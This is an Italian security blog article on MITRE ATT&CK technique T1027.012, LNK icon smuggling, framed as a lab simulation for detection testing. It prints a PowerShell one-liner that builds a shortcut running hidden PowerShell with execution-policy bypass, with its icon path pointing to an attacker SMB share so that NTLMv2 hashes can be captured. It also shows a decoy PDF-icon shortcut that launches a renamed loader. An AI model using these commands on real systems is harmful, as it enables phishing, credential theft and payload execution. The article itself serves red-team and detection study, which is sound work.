LNK Icon Smuggling: Obfuscated Files or Information – LNK Icon Smuggling (T1027.012)

I file di collegamento Windows (.LNK) sono oggetti apparentemente innocui che popolano qualsiasi desktop. Eppure, al loro interno, il campo IconEnvironmentDataBlock — progettato per indicare il percorso dell'icona da visualizzare — può essere trasformato in un vettore di download per payload malevoli. Questa tecnica, nota come LNK Icon Smuggling, consente agli avversari di nascondere riferimenti a risorse esterne (URL o percorsi UNC) dentro i metadati dell'icona, eludendo filtri di contenuto che analizzano solo il target path del collegamento.

La tecnica si colloca nella tattica Defense Evasion (TA0005): l'obiettivo primario è aggirare i controlli di sicurezza, non tanto l'accesso iniziale in sé. Il meccanismo è elegante nella sua semplicità: quando l'utente apre il file LNK — spesso recapitato via phishing con un'icona che simula un PDF o un documento Office — il sistema operativo tenta di risolvere l'icona dal campo dedicato, innescando una connessione verso l'infrastruttura dell'attaccante. Il payload scaricato può poi essere eseguito attraverso interpreti di comandi o binari di sistema legittimi richiamati nel target path del collegamento stesso.

I dati del framework indicano 3 gruppi APT attivamente associati a questa tecnica, 1 software (il malware TONESHELL) e 2 mitigazioni raccomandate. L'assenza di campagne catalogate formalmente non deve ingannare: la tecnica è operativamente attiva e documentata nelle procedure di gruppi con target eterogenei, dalla penisola coreana al Sud-Est asiatico fino all'Europa orientale.

Per simulare LNK Icon Smuggling in laboratorio serve comprendere la struttura binaria del file .LNK e, in particolare, come Windows gestisce il campo IconEnvironmentDataBlock. L'approccio più diretto sfrutta PowerShell e l'oggetto COM WScript.Shell, che espone le proprietà del collegamento in modo programmabile.

Il primo passo è creare un file LNK il cui campo icona punti a una risorsa controllata dall'attaccante. In PowerShell:

$shell = New-Object -ComObject WScript.Shell; $lnk = $shell.CreateShortcut("$env:USERPROFILE\Desktop\Report.lnk"); $lnk.TargetPath = "cmd.exe"; $lnk.Arguments = "/c powershell -w hidden -ep bypass -f C:\Temp\stage2.ps1"; $lnk.IconLocation = "\<IP-ATTACCANTE>\share\document.ico"; $lnk.Save()

In questo esempio il target path invoca cmd.exe che a sua volta lancia PowerShell in modalità nascosta, mentre il campo IconLocation punta a una share SMB controllata. Quando la vittima visualizza il file nel suo file manager, Windows tenta di risolvere l'icona remota, generando traffico SMB verso l'esterno — utile anche per catturare hash NTLMv2 con Responder (open source).

Per replicare lo scenario con download HTTP, si può usare un approccio più sofisticato modificando il campo icona affinché punti a un URL. Strumenti come pylnk3 (open source), libreria Python per la manipolazione programmatica di file LNK, permettono di impostare i singoli campi della struttura binaria con granularità maggiore rispetto all'oggetto COM. Il vantaggio è il controllo completo sui metadata, inclusi i campi di padding che Kimsuky utilizza per offuscare il contenuto del target field con spazi aggiuntivi.

Per simulare la catena completa alla maniera di Mustang Panda, crea un LNK che mostri l'icona di un PDF legittimo estratta da AcroRd32.exe e configura il target per eseguire un binario rinominato:

$lnk.IconLocation = "C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe,0"; $lnk.TargetPath = "C:\Users\Public\office.exe"

Il binario office.exe — nel contesto di TONESHELL — è in realtà il loader malevolo. In laboratorio, sostituiscilo con un payload benigno di Atomic Red Team (open source) per validare la detection senza rischi.

Sul lato server, configura un listener con Impacket (open source) per catturare le connessioni SMB o usa Python http.server per servire i payload via HTTP. Verifica con LECmd di Eric Zimmerman (open source) che i campi del file LNK prodotto siano consistenti con quelli osservati in the wild:

LECmd.exe -f Report.lnk --json --jsonpretty

Questo comando produce un dump JSON completo di tutti i metadata del file LNK, inclusi IconLocation, TargetPath, Arguments e gli extra data blocks.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo

We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.